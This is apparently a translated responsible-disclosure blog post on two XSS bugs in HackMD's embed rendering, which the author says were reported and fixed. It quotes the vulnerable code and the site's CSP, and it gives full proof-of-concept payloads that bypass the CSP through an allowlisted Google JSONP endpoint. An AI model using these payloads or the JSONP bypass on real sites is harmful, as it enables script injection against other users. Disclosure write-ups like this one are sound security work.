Several HackMD XSS

發表於
分類於 security

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

During AIS3, I was bored and played around on HackMD, found two XSS points, and successfully bypassed CSP to get XSS. I have reported it to the official team and it has been fixed.

XSS 1

Key code:

t.find('span.figma.raw')
	.filter(r)
	.removeClass('raw')
	.each(function (t, n) {
		var r = e(n).attr('data-figma-src'),
			i = e(
				'<iframe\n          height="450"\n          width="800"\n          src="'.concat(
					r,
					'"\n          allowfullscreen\n          style="width: 100%"\n        ></iframe>'
				)
			)
		e(this).append(i)
	})

You can see that it selects span.figma.raw, then takes the value of data-figma-src and concatenates it with HTML, so there's a very simple XSS. However, because of CSP, we still need to bypass CSP:

default-src 'none'; script-src 'self' vimeo.com https://gist.github.com www.slideshare.net 'unsafe-eval' https://assets.hackmd.io https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://static.hotjar.com https://script.hotjar.com https://www.googletagmanager.com https://cdn.ravenjs.com https://browser.sentry-cdn.com https://js.stripe.com 'nonce-469e4147-0c32-4c3b-b6f1-aa8495a9b035' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI=' 'sha256-8HvL1KRq6jEwDkuVgxMDK7Gag1vnT70L0Lfoa1E3YsY=' 'sha256-81acLZNZISnyGYZrSuoYhpzwDTTxi7vC1YM4uNxqWaM='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com; font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests

We can see that www.google.com is in the allowlist, and it has a very flexible JSONP endpoint that can be utilized:

https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//

Using this, we can directly achieve XSS. Putting it all together, we get the complete payload:

<span class="figma raw" data-figma-src='"></iframe>peko<script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//"></script><span "'>
    kusa
</span>

XSS 2

Key code:

t.find('.color-indicator.rough')
	.filter(r)
	.removeClass('rough')
	.each(function (t, n) {
		e(n).append(
			'<span class="ml-1 inline-block rounded-sm" style="background-color: '.concat(
				n.textContent,
				'; width: 10px; height: 10px;"></span>'
			)
		)
	})

Similar to the previous situation, and using the same CSP bypass method, we can also achieve XSS.

<span class="color-indicator rough">
&quot;&gt;&lt;script src='https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//'&gt;&lt;/script&gt;
    kusa
</span>